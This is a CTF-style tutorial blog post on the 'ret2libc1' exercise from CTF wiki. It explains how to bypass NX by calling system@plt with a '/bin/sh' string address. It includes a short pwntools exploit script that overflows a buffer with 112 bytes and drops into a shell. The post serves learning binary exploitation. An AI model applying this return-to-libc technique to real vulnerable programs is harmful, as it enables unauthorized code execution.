当前位置:网站首页>Learn PWN from CTF wiki - ret2libc1
Learn PWN from CTF wiki - ret2libc1
2022-07-05 23:49:00 【Big Ruida】
ret2libc
principle
perform libc Medium /bin/sh
step
First , Check the security protection of the program 
Turn on NX:no executable
( Non executable memory data pages )
( Can not make use of ret2text And ret2shellcode)
secondly , Check if there is /bin/sh

Check if there is system (segment yes plt, No extern)

/bin/sh, Is a string , Need to know the address .
system, Is a callable function , Need to know the address .
use system call /bin/sh that will do
So write payload, Addressing mode can be viewed Previous blogs , A fellow 112.
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
call libc Format of function :
system_plt + 4 Bytes (32 Bit address ) + /bin/sh character string
Here we need to pay attention to the structure of the function call stack , If it is a normal call system function , When we call, there will be a corresponding return address , Here we use ’bbbb’ As a false address , The parameter content corresponding to the subsequent parameters .
This example is relatively simple , It also provides system Address and /bin/sh The address of , But most programs don't have such a good situation .
边栏推荐
猜你喜欢

How to get all the values stored in localstorage

Redis high availability - master-slave replication, sentinel mode, cluster

Use mapper: --- tkmapper

98. 验证二叉搜索树 ●●

CIS基准测试工具kube-bench使用

Rasa 3. X learning series -rasa 3.2.1 new release

20220703 week race: number of people who know the secret - dynamic rules (problem solution)
![[classical control theory] summary of automatic control experiment](/img/22/9c9e107da7e305ce0a57d55b4d0b5a.png)
[classical control theory] summary of automatic control experiment

4 points tell you the advantages of the combination of real-time chat and chat robots

Live tiktok shop 2022 latest gameplay card slot overseas live e-commerce new traffic
随机推荐
CIS基准测试工具kube-bench使用
Fiddler Everywhere 3.2.1 Crack
Dynamic planning: robbing families and houses
Fiddler Everywhere 3.2.1 Crack
What is a humble but profitable sideline?
poj 2762 Going from u to v or from v to u? (infer whether it is a weak link diagram)
98. Verify the binary search tree ●●
【LeetCode】5. Valid Palindrome·有效回文
How to enable relationship view in phpMyAdmin - how to enable relationship view in phpMyAdmin
Spreadjs 15.1 CN and spreadjs 15.1 en
15 MySQL-存储过程与函数
The use of El cascader and the solution of error reporting
Qt 一个简单的word文档编辑器
Scala concurrent programming (II) akka
MySQL replace primary key delete primary key add primary key
多普勒效应(多普勒频移)
保研笔记一 软件工程与计算卷二(1-7章)
How to get all the values stored in localstorage
20. Migrate freetype font library
Rasa 3.x 学习系列-Rasa 3.2.1 新版本发布